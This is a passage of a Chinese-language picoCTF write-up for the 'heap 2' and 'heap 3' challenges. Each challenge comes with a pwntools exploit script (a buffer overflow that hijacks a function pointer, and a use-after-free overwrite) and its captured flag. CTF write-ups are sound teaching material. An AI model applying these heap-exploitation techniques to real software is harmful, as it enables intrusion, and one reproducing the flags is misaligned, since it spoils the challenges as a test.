picoCTF{starting_to_get_the_hang_e9fbcea5}
heap 2
往x写入win函数地址,再通过choice 4执行:
((void (*)(void))*(int *)x)();
得到flag
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.update(arch='amd64' , os='linux' ,log_level='debug' ) p = process("chall" ) p.sendlineafter(b'Enter your choice: ' , b"2" ) p.sendlineafter(b"Data for buffer: " ,cyclic(3 *8 )+p64(0x21 )+p64(0x4011A0 )) p.sendlineafter(b'Enter your choice: ' , b"4" ) p.interactive()
picoCTF{and_down_the_road_we_go_91218226}
heap 3
释放原来的x块,再分配一个新块,利用use after
free的原理,对x->flag位置的数据覆写为pico,校验得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.update(arch='amd64' , os='linux' ,log_level='debug' ) p = remote("tethys.picoctf.net" ,"55193" ) p.sendlineafter(b'Enter your choice: ' , b"5" ) p.sendlineafter(b'Enter your choice: ' , b"2" ) p.sendlineafter(b'Size of object allocation: ' , b"36" ) p.sendlineafter(b'Data for flag: ' , cyclic(0x18 )+b"\x00" *6 +b"pico" ) p.sendlineafter(b'Enter your choice: ' , b"3" ) p.sendlineafter(b'Enter your choice: ' , b"4" ) p.interactive()
picoCTF{now_thats_free_real_estate_a11cf359}